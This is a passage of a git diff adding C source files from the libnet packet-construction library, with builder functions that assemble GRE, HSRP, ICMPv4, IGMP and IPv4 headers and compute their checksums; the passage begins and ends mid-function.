+libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, zero = 0; + libnet_pblock_t *p; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_GRE_SRE_H; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_H); + if (p == NULL) + { + return (-1); + } + + n = libnet_pblock_append(l, p, (u_int8_t *)&zero, LIBNET_GRE_SRE_H); + if (n == -1) + { + /* err msg set in libnet_pblock_append() */ + goto bad; + } + + return (ptag ? ptag : libnet_pblock_update(l, p, 0, + LIBNET_PBLOCK_GRE_SRE_H)); + +bad: + libnet_pblock_delete(l, p); + return (-1); + +} +/* EOF */ diff --git a/libnet/src/libnet_build_hsrp.c b/libnet/src/libnet_build_hsrp.c new file mode 100644 index 0000000..2c58dbb --- /dev/null +++ b/libnet/src/libnet_build_hsrp.c @@ -0,0 +1,105 @@ +/* + * libnet + * libnet_build_hsrp.c - HSRP packet assembler + * + * Copyright (c) 2004 David Barroso Berrueta <tomac@wasahero.org> + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_hsrp(u_int8_t version, u_int8_t opcode, u_int8_t state, +u_int8_t hello_time, u_int8_t hold_time, u_int8_t priority, u_int8_t group, +u_int8_t reserved, u_int8_t authdata[HSRP_AUTHDATA_LENGTH], u_int32_t virtual_ip, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n; + libnet_pblock_t *p; + struct libnet_hsrp_hdr hsrp_hdr; + + if (l == NULL) + { + return (-1); + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, LIBNET_HSRP_H, LIBNET_PBLOCK_HSRP_H); + if (p == NULL) + { + return (-1); + } + + memset(&hsrp_hdr, 0, sizeof(hsrp_hdr)); + hsrp_hdr.version = version; + hsrp_hdr.opcode = opcode; + hsrp_hdr.state = state; + hsrp_hdr.hello_time = hello_time; + hsrp_hdr.hold_time = hold_time; + hsrp_hdr.priority = priority; + hsrp_hdr.group = group; + hsrp_hdr.reserved = reserved; + memcpy(hsrp_hdr.authdata, authdata, HSRP_AUTHDATA_LENGTH*sizeof(u_int8_t)); + hsrp_hdr.virtual_ip = virtual_ip; + + n = libnet_pblock_append(l, p, (u_int8_t *)&hsrp_hdr, LIBNET_HSRP_H); + if (n == -1) + { + goto bad; + } + + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + if (payload && payload_s) + { + n = libnet_pblock_append(l, p, payload, payload_s); + if (n == -1) + { + goto bad; + } + } + + return (ptag ? ptag : libnet_pblock_update(l, p, 0, LIBNET_PBLOCK_HSRP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} +/* EOF */ diff --git a/libnet/src/libnet_build_icmp.c b/libnet/src/libnet_build_icmp.c new file mode 100644 index 0000000..e90c32e --- /dev/null +++ b/libnet/src/libnet_build_icmp.c @@ -0,0 +1,398 @@ +/* + * $Id: libnet_build_icmp.c,v 1.17 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_icmp.c - ICMP packet assemblers + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +/* some common cruft for completing ICMP error packets */ +#define LIBNET_BUILD_ICMP_ERR_FINISH(len) \ +do \ +{ \ + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, len); \ + if (n == -1) \ + { \ + goto bad; \ + } \ + \ + if ((payload && !payload_s) || (!payload && payload_s)) \ + { \ + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, \ + "%s(): payload inconsistency\n", __func__); \ + goto bad; \ + } \ + \ + if (payload && payload_s) \ + { \ + n = libnet_pblock_append(l, p, payload, payload_s); \ + if (n == -1) \ + { \ + goto bad; \ + } \ + } \ + \ + if (sum == 0) \ + { \ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); \ + } \ +} while (0) + +libnet_ptag_t +libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ICMPV4_ECHO_H + payload_s; /* size of memory block */ + h = LIBNET_ICMPV4_ECHO_H + payload_s; /* hl for checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_ECHO_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = htons(id); /* packet id */ + icmp_hdr.icmp_seq = htons(seq); /* packet seq */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_ECHO_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_ECHO_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ICMPV4_MASK_H + payload_s; /* size of memory block */ + h = LIBNET_ICMPV4_MASK_H + payload_s; /* hl for checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_MASK_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = htons(id); /* packet id */ + icmp_hdr.icmp_seq = htons(seq); /* packet seq */ + icmp_hdr.icmp_mask = htonl(mask); /* address mask */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_MASK_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_MASK_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ICMPV4_TS_H + payload_s; /* size of memory block */ + h = LIBNET_ICMPV4_TS_H + payload_s; /* hl for checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TS_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = htons(id); /* packet id */ + icmp_hdr.icmp_seq = htons(seq); /* packet seq */ + icmp_hdr.icmp_otime = htonl(otime); /* original timestamp */ + icmp_hdr.icmp_rtime = htonl(rtime); /* receive timestamp */ + icmp_hdr.icmp_ttime = htonl(ttime); /* transmit timestamp */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_TS_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_TS_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + n = LIBNET_ICMPV4_UNREACH_H + payload_s; /* size of memory block */ + + /* + * FREDRAYNAL: as ICMP checksum includes what is embedded in + * the payload, and what is after the ICMP header, we need to include + * those 2 sizes. + */ + h = LIBNET_ICMPV4_UNREACH_H + payload_s + l->total_size; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_UNREACH_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = 0; /* must be 0 */ + icmp_hdr.icmp_seq = 0; /* must be 0 */ + + LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_UNREACH_H); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_UNREACH_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + /* size of memory block */ + n = LIBNET_ICMPV4_TIMXCEED_H; + /* + * FREDRAYNAL: as ICMP checksum includes what is embedded in + * the payload, and what is after the ICMP header, we need to include + * those 2 sizes. + */ + h = LIBNET_ICMPV4_TIMXCEED_H + payload_s + l->total_size; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TIMXCEED_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = 0; /* must be 0 */ + icmp_hdr.icmp_seq = 0; /* must be 0 */ + + LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_TIMXCEED_H); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_TIMXCEED_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int32_t gateway, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) + +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ICMPV4_REDIRECT_H; /* size of memory block */ + /* + * FREDRAYNAL: as ICMP checksum includes what is embedded in + * the payload, and what is after the ICMP header, we need to include + * those 2 sizes. + */ + h = LIBNET_ICMPV4_REDIRECT_H + payload_s + l->total_size; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_REDIRECT_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.hun.gateway = gateway; + + LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_REDIRECT_H); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_REDIRECT_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_igmp.c b/libnet/src/libnet_build_igmp.c new file mode 100644 index 0000000..aab067e --- /dev/null +++ b/libnet/src/libnet_build_igmp.c @@ -0,0 +1,99 @@ +/* + * $Id: libnet_build_igmp.c,v 1.12 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_igmp.c - IGMP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_igmp(u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_igmp_hdr igmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IGMP_H + payload_s; + h = LIBNET_IGMP_H; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IGMP_H); + if (p == NULL) + { + return (-1); + } + + memset(&igmp_hdr, 0, sizeof(igmp_hdr)); + igmp_hdr.igmp_type = type; /* packet type */ + igmp_hdr.igmp_code = code; /* packet code */ + igmp_hdr.igmp_sum = (sum ? htons(sum) : 0); /* packet checksum */ + igmp_hdr.igmp_group.s_addr = htonl(ip); + + n = libnet_pblock_append(l, p, (u_int8_t *)&igmp_hdr, LIBNET_IGMP_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IGMP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_ip.c b/libnet/src/libnet_build_ip.c new file mode 100644 index 0000000..2e3c841 --- /dev/null +++ b/libnet/src/libnet_build_ip.c @@ -0,0 +1,795 @@ +/* + * $Id: libnet_build_ip.c,v 1.19 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_ip.c - IP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +libnet_ptag_t +libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag, +u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + int offset; + u_int32_t h, n, i, j; + libnet_pblock_t *p, *p_data, *p_temp; + struct libnet_ipv4_hdr ip_hdr; + libnet_ptag_t ptag_data, ptag_hold; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IPV4_H; /* size of memory block */ + h = len; /* header length */ + ptag_data = 0; /* used if options are present */ + + if (h + payload_s > IP_MAXPACKET) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): IP packet too large\n", __func__); + return (-1); + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H); + if (p == NULL) + { + return (-1); + } + + memset(&ip_hdr, 0, sizeof(ip_hdr)); + ip_hdr.ip_v = 4; /* version 4 */ + ip_hdr.ip_hl = 5; /* 20 byte header */ + + /* check to see if there are IP options to include */ + if (p->prev) + { + if (p->prev->type == LIBNET_PBLOCK_IPO_H) + { + /* + * Count up number of 32-bit words in options list, padding if + * neccessary. + */ + for (i = 0, j = 0; i < p->prev->b_len; i++) + { + (i % 4) ? j : j++; + } + ip_hdr.ip_hl += j; + } + } + + ip_hdr.ip_tos = tos; /* IP tos */ + ip_hdr.ip_len = htons(h); /* total length */ + ip_hdr.ip_id = htons(id); /* IP ID */ + ip_hdr.ip_off = htons(frag); /* fragmentation flags */ + ip_hdr.ip_ttl = ttl; /* time to live */ + ip_hdr.ip_p = prot; /* transport protocol */ + ip_hdr.ip_sum = (sum ? htons(sum) : 0); /* checksum */ + ip_hdr.ip_src.s_addr = src; /* source ip */ + ip_hdr.ip_dst.s_addr = dst; /* destination ip */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&ip_hdr, LIBNET_IPV4_H); + if (n == -1) + { + goto bad; + } + + /* save the original ptag value */ + ptag_hold = ptag; + + if (ptag == LIBNET_PTAG_INITIALIZER) + { + ptag = libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H); + } + + /* find and set the appropriate ptag, or else use the default of 0 */ + offset = payload_s; + if (ptag_hold && p->prev) + { + p_temp = p->prev; + while (p_temp->prev && + (p_temp->type != LIBNET_PBLOCK_IPDATA) && + (p_temp->type != LIBNET_PBLOCK_IPV4_H)) + { + p_temp = p_temp->prev; + } + + if (p_temp->type == LIBNET_PBLOCK_IPDATA) + { + ptag_data = p_temp->ptag; + offset -= p_temp->b_len; + p->h_len += offset; + } + else + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): IPv4 data pblock not found\n", __func__); + } + } + + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + if (payload && payload_s) + { + /* update ptag_data with the new payload */ + p_data = libnet_pblock_probe(l, ptag_data, payload_s, + LIBNET_PBLOCK_IPDATA); + if (p_data == NULL) + { + return (-1); + } + + if (libnet_pblock_append(l, p_data, payload, payload_s) == -1) + { + goto bad; + } + + if (ptag_data == LIBNET_PTAG_INITIALIZER) + { + if (p_data->prev->type == LIBNET_PBLOCK_IPV4_H) + { + libnet_pblock_update(l, p_data, payload_s, + LIBNET_PBLOCK_IPDATA); + /* swap pblocks to correct the protocol order */ + libnet_pblock_swap(l, p->ptag, p_data->ptag); + } + else + { + /* update without setting this as the final pblock */ + p_data->type = LIBNET_PBLOCK_IPDATA; + p_data->ptag = ++(l->ptag_state); + p_data->h_len = payload_s; + + /* Adjust h_len for checksum. */ + p->h_len += payload_s; + + /* data was added after the initial construction */ + for (p_temp = l->protocol_blocks; + p_temp->type == LIBNET_PBLOCK_IPV4_H || + p_temp->type == LIBNET_PBLOCK_IPO_H; + p_temp = p_temp->next) + { + libnet_pblock_insert_before(l, p_temp->ptag, p_data->ptag); + break; + } + + /* the end block needs to have its next pointer cleared */ + l->pblock_end->next = NULL; + } + + if (p_data->prev && p_data->prev->type == LIBNET_PBLOCK_IPO_H) + { + libnet_pblock_swap(l, p_data->prev->ptag, p_data->ptag); + } + } + } + else + { + p_data = libnet_pblock_find(l, ptag_data); + if (p_data) + { + libnet_pblock_delete(l, p_data); + } + else + { + /* + * XXX - When this completes successfully, libnet errbuf contains + * an error message so to come correct, we'll clear it. + */ + memset(l->err_buf, 0, sizeof (l->err_buf)); + } + } + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + + /* + * FREDRAYNAL: as we insert a new IP header, all checksums for headers + * placed after this one will refer to here. + */ + libnet_pblock_record_ip_offset(l, l->total_size); + + return (ptag); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_autobuild_ipv4(u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t *l) +{ + u_int32_t n, i, j, src; + u_int16_t h; + libnet_pblock_t *p; + libnet_ptag_t ptag; + struct libnet_ipv4_hdr ip_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IPV4_H; /* size of memory block */ + h = len; /* header length */ + ptag = LIBNET_PTAG_INITIALIZER; + src = libnet_get_ipaddr4(l); + if (src == -1) + { + /* err msg set in libnet_get_ipaddr() */ + return (-1); + } + + /* + * Create a new pblock. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H); + if (p == NULL) + { + return (-1); + } + + memset(&ip_hdr, 0, sizeof(ip_hdr)); + ip_hdr.ip_v = 4; /* version 4 */ + ip_hdr.ip_hl = 5; /* 20 byte header */ + + /* check to see if there are IP options to include */ + if (p->prev) + { + if (p->prev->type == LIBNET_PBLOCK_IPO_H) + { + /* + * Count up number of 32-bit words in options list, padding if + * neccessary. + */ + for (i = 0, j = 0; i < p->prev->b_len; i++) + { + (i % 4) ? j : j++; + } + ip_hdr.ip_hl += j; + } + } + + ip_hdr.ip_tos = 0; /* IP tos */ + ip_hdr.ip_len = htons(h); /* total length */ + ip_hdr.ip_id = htons((l->ptag_state) & 0x0000ffff); /* IP ID */ + ip_hdr.ip_off = 0; /* fragmentation flags */ + ip_hdr.ip_ttl = 64; /* time to live */ + ip_hdr.ip_p = prot; /* transport protocol */ + ip_hdr.ip_sum = 0; /* checksum */ + ip_hdr.ip_src.s_addr = src; /* source ip */ + ip_hdr.ip_dst.s_addr = dst; /* destination ip */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&ip_hdr, LIBNET_IPV4_H); + if (n == -1) + { + goto bad; + } + + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + ptag = libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H); + + /* + * FREDRAYNAL: as we insert a new IP header, all checksums for headers + * placed after this one will refer to here. + */ + libnet_pblock_record_ip_offset(l, l->total_size); + return (ptag); + +bad: + libnet_pblock_delete(l, 